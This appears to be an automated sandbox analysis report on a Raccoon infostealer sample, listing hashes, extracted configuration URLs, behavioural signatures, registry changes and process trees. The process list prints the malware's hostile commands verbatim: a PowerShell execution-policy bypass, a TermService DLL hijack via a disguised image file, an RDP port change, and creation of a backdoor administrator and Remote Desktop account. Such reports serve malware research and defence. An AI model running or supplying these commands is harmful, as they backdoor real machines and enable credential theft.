Analysis
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max time kernel
82s -
max time network
113s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
02-06-2021 12:10
Static task
static1
Behavioral task
behavioral1
Sample
55ad53d9c2ac846647791d572f44ea5b.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
55ad53d9c2ac846647791d572f44ea5b.exe
Resource
win10v20210410
General
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Target
55ad53d9c2ac846647791d572f44ea5b.exe
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Size
567KB
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MD5
55ad53d9c2ac846647791d572f44ea5b
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SHA1
f23c59ff61ff9bbf7c64dd9edfb6a254509bf917
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SHA256
c5a3e3c23c820cc768a283e2a66515722048a51ece2387bcb8883a3b6a061b41
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SHA512
d81fd6457c8cd411fc4e44053085aa1285203138909117ab6dafb3c74518ff9a91388e1450fc8e303774fd4ff7c27ab6cae87505bb9b0ca153c7f8bca5e85cd9
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Extracted
raccoon
e46634757936706c1ff491585768dd6fe231db30
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url4cnc
https://tttttt.me/jdiamond13
Signatures
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 9 IoCs
flow pid Process 21 2276 powershell.exe 23 2276 powershell.exe 24 2276 powershell.exe 25 2276 powershell.exe 27 2276 powershell.exe 29 2276 powershell.exe 31 2276 powershell.exe 33 2276 powershell.exe 35 2276 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 1 IoCs
pid Process 3944 t1aG6es3y5.exe -
Modifies RDP port number used by Windows 1 TTPs
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Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral2/files/0x000a000000000695-236.dat upx behavioral2/files/0x0009000000015518-237.dat upx -
Loads dropped DLL 8 IoCs
pid Process 3256 55ad53d9c2ac846647791d572f44ea5b.exe 3256 55ad53d9c2ac846647791d572f44ea5b.exe 3256 55ad53d9c2ac846647791d572f44ea5b.exe 3256 55ad53d9c2ac846647791d572f44ea5b.exe 3256 55ad53d9c2ac846647791d572f44ea5b.exe 3256 55ad53d9c2ac846647791d572f44ea5b.exe 2380 Process not Found 2380 Process not Found -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe -
Drops file in Windows directory 19 IoCs
description ioc Process File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_kh44am5d.iu4.psm1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8080.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI80A0.tmp powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI80B1.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI80C2.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI80D2.tmp powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_oqqm0gsd.c42.ps1 powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Delays execution with timeout.exe 1 IoCs
pid Process 1584 timeout.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag," powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache," powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data." powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\ powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\ powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 3424 reg.exe -
Runs net.exe
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Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 27 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 23 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 24 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 25 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 2128 powershell.exe 2128 powershell.exe 2128 powershell.exe 3964 powershell.exe 3964 powershell.exe 3964 powershell.exe 3764 powershell.exe 3764 powershell.exe 3764 powershell.exe 3768 powershell.exe 3768 powershell.exe 3768 powershell.exe 2128 powershell.exe 2128 powershell.exe 2128 powershell.exe 2276 powershell.exe 2276 powershell.exe 2276 powershell.exe -
Suspicious behavior: LoadsDriver 2 IoCs
pid Process 628 Process not Found 628 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2128 powershell.exe Token: SeDebugPrivilege 3964 powershell.exe Token: SeIncreaseQuotaPrivilege 3964 powershell.exe Token: SeSecurityPrivilege 3964 powershell.exe Token: SeTakeOwnershipPrivilege 3964 powershell.exe Token: SeLoadDriverPrivilege 3964 powershell.exe Token: SeSystemProfilePrivilege 3964 powershell.exe Token: SeSystemtimePrivilege 3964 powershell.exe Token: SeProfSingleProcessPrivilege 3964 powershell.exe Token: SeIncBasePriorityPrivilege 3964 powershell.exe Token: SeCreatePagefilePrivilege 3964 powershell.exe Token: SeBackupPrivilege 3964 powershell.exe Token: SeRestorePrivilege 3964 powershell.exe Token: SeShutdownPrivilege 3964 powershell.exe Token: SeDebugPrivilege 3964 powershell.exe Token: SeSystemEnvironmentPrivilege 3964 powershell.exe Token: SeRemoteShutdownPrivilege 3964 powershell.exe Token: SeUndockPrivilege 3964 powershell.exe Token: SeManageVolumePrivilege 3964 powershell.exe Token: 33 3964 powershell.exe Token: 34 3964 powershell.exe Token: 35 3964 powershell.exe Token: 36 3964 powershell.exe Token: SeDebugPrivilege 3764 powershell.exe Token: SeIncreaseQuotaPrivilege 3764 powershell.exe Token: SeSecurityPrivilege 3764 powershell.exe Token: SeTakeOwnershipPrivilege 3764 powershell.exe Token: SeLoadDriverPrivilege 3764 powershell.exe Token: SeSystemProfilePrivilege 3764 powershell.exe Token: SeSystemtimePrivilege 3764 powershell.exe Token: SeProfSingleProcessPrivilege 3764 powershell.exe Token: SeIncBasePriorityPrivilege 3764 powershell.exe Token: SeCreatePagefilePrivilege 3764 powershell.exe Token: SeBackupPrivilege 3764 powershell.exe Token: SeRestorePrivilege 3764 powershell.exe Token: SeShutdownPrivilege 3764 powershell.exe Token: SeDebugPrivilege 3764 powershell.exe Token: SeSystemEnvironmentPrivilege 3764 powershell.exe Token: SeRemoteShutdownPrivilege 3764 powershell.exe Token: SeUndockPrivilege 3764 powershell.exe Token: SeManageVolumePrivilege 3764 powershell.exe Token: 33 3764 powershell.exe Token: 34 3764 powershell.exe Token: 35 3764 powershell.exe Token: 36 3764 powershell.exe Token: SeDebugPrivilege 3768 powershell.exe Token: SeIncreaseQuotaPrivilege 3768 powershell.exe Token: SeSecurityPrivilege 3768 powershell.exe Token: SeTakeOwnershipPrivilege 3768 powershell.exe Token: SeLoadDriverPrivilege 3768 powershell.exe Token: SeSystemProfilePrivilege 3768 powershell.exe Token: SeSystemtimePrivilege 3768 powershell.exe Token: SeProfSingleProcessPrivilege 3768 powershell.exe Token: SeIncBasePriorityPrivilege 3768 powershell.exe Token: SeCreatePagefilePrivilege 3768 powershell.exe Token: SeBackupPrivilege 3768 powershell.exe Token: SeRestorePrivilege 3768 powershell.exe Token: SeShutdownPrivilege 3768 powershell.exe Token: SeDebugPrivilege 3768 powershell.exe Token: SeSystemEnvironmentPrivilege 3768 powershell.exe Token: SeRemoteShutdownPrivilege 3768 powershell.exe Token: SeUndockPrivilege 3768 powershell.exe Token: SeManageVolumePrivilege 3768 powershell.exe Token: 33 3768 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3256 wrote to memory of 3944 3256 55ad53d9c2ac846647791d572f44ea5b.exe 79 PID 3256 wrote to memory of 3944 3256 55ad53d9c2ac846647791d572f44ea5b.exe 79 PID 3256 wrote to memory of 3860 3256 55ad53d9c2ac846647791d572f44ea5b.exe 80 PID 3256 wrote to memory of 3860 3256 55ad53d9c2ac846647791d572f44ea5b.exe 80 PID 3256 wrote to memory of 3860 3256 55ad53d9c2ac846647791d572f44ea5b.exe 80 PID 3860 wrote to memory of 1584 3860 cmd.exe 82 PID 3860 wrote to memory of 1584 3860 cmd.exe 82 PID 3860 wrote to memory of 1584 3860 cmd.exe 82 PID 3944 wrote to memory of 2128 3944 t1aG6es3y5.exe 83 PID 3944 wrote to memory of 2128 3944 t1aG6es3y5.exe 83 PID 2128 wrote to memory of 3568 2128 powershell.exe 85 PID 2128 wrote to memory of 3568 2128 powershell.exe 85 PID 3568 wrote to memory of 1112 3568 csc.exe 86 PID 3568 wrote to memory of 1112 3568 csc.exe 86 PID 2128 wrote to memory of 3964 2128 powershell.exe 87 PID 2128 wrote to memory of 3964 2128 powershell.exe 87 PID 2128 wrote to memory of 3764 2128 powershell.exe 90 PID 2128 wrote to memory of 3764 2128 powershell.exe 90 PID 2128 wrote to memory of 3768 2128 powershell.exe 92 PID 2128 wrote to memory of 3768 2128 powershell.exe 92 PID 2128 wrote to memory of 2080 2128 powershell.exe 94 PID 2128 wrote to memory of 2080 2128 powershell.exe 94 PID 2128 wrote to memory of 3424 2128 powershell.exe 95 PID 2128 wrote to memory of 3424 2128 powershell.exe 95 PID 2128 wrote to memory of 1604 2128 powershell.exe 96 PID 2128 wrote to memory of 1604 2128 powershell.exe 96 PID 2128 wrote to memory of 1844 2128 powershell.exe 97 PID 2128 wrote to memory of 1844 2128 powershell.exe 97 PID 1844 wrote to memory of 1688 1844 net.exe 98 PID 1844 wrote to memory of 1688 1844 net.exe 98 PID 2128 wrote to memory of 3436 2128 powershell.exe 99 PID 2128 wrote to memory of 3436 2128 powershell.exe 99 PID 3436 wrote to memory of 3548 3436 cmd.exe 100 PID 3436 wrote to memory of 3548 3436 cmd.exe 100 PID 3548 wrote to memory of 688 3548 cmd.exe 101 PID 3548 wrote to memory of 688 3548 cmd.exe 101 PID 688 wrote to memory of 2212 688 net.exe 102 PID 688 wrote to memory of 2212 688 net.exe 102 PID 2128 wrote to memory of 3068 2128 powershell.exe 103 PID 2128 wrote to memory of 3068 2128 powershell.exe 103 PID 3068 wrote to memory of 3544 3068 cmd.exe 104 PID 3068 wrote to memory of 3544 3068 cmd.exe 104 PID 3544 wrote to memory of 2296 3544 cmd.exe 105 PID 3544 wrote to memory of 2296 3544 cmd.exe 105 PID 2296 wrote to memory of 3128 2296 net.exe 106 PID 2296 wrote to memory of 3128 2296 net.exe 106 PID 2720 wrote to memory of 1696 2720 cmd.exe 110 PID 2720 wrote to memory of 1696 2720 cmd.exe 110 PID 1696 wrote to memory of 2816 1696 net.exe 111 PID 1696 wrote to memory of 2816 1696 net.exe 111 PID 2316 wrote to memory of 1060 2316 cmd.exe 114 PID 2316 wrote to memory of 1060 2316 cmd.exe 114 PID 1060 wrote to memory of 3436 1060 net.exe 115 PID 1060 wrote to memory of 3436 1060 net.exe 115 PID 1688 wrote to memory of 2184 1688 cmd.exe 118 PID 1688 wrote to memory of 2184 1688 cmd.exe 118 PID 2184 wrote to memory of 1552 2184 net.exe 119 PID 2184 wrote to memory of 1552 2184 net.exe 119 PID 3952 wrote to memory of 3372 3952 cmd.exe 122 PID 3952 wrote to memory of 3372 3952 cmd.exe 122 PID 3372 wrote to memory of 1112 3372 net.exe 123 PID 3372 wrote to memory of 1112 3372 net.exe 123 PID 2132 wrote to memory of 3796 2132 cmd.exe 126 PID 2132 wrote to memory of 3796 2132 cmd.exe 126
Processes
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C:\Users\Admin\AppData\Local\Temp\55ad53d9c2ac846647791d572f44ea5b.exe"C:\Users\Admin\AppData\Local\Temp\55ad53d9c2ac846647791d572f44ea5b.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3256 -
C:\Users\Admin\AppData\Local\Temp\t1aG6es3y5.exe"C:\Users\Admin\AppData\Local\Temp\t1aG6es3y5.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'3⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zgbuzu4g\zgbuzu4g.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:3568 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4A2E.tmp" "c:\Users\Admin\AppData\Local\Temp\zgbuzu4g\CSC88D4D0BBEB3C484C90CB099E4FC4AA0.TMP"5⤵PID:1112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3964
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3768
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f4⤵PID:2080
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f4⤵
- Modifies registry key
PID:3424
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f4⤵PID:1604
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
- Suspicious use of WriteProcessMemory
PID:1844 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add5⤵PID:1688
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Windows\system32\cmd.execmd /c net start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\system32\net.exenet start rdpdr6⤵
- Suspicious use of WriteProcessMemory
PID:688 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr7⤵PID:2212
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:3068 -
C:\Windows\system32\cmd.execmd /c net start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:3544 -
C:\Windows\system32\net.exenet start TermService6⤵
- Suspicious use of WriteProcessMemory
PID:2296 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService7⤵PID:3128
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f4⤵PID:3544
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f4⤵PID:3312
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C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\55ad53d9c2ac846647791d572f44ea5b.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3860 -
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
PID:1584
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵PID:2816
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc 8KpHFTB4 /add1⤵
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Windows\system32\net.exenet.exe user wgautilacc 8KpHFTB4 /add2⤵
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 8KpHFTB4 /add3⤵PID:3436
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵PID:1552
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3372 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD3⤵PID:1112
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵
- Suspicious use of WriteProcessMemory
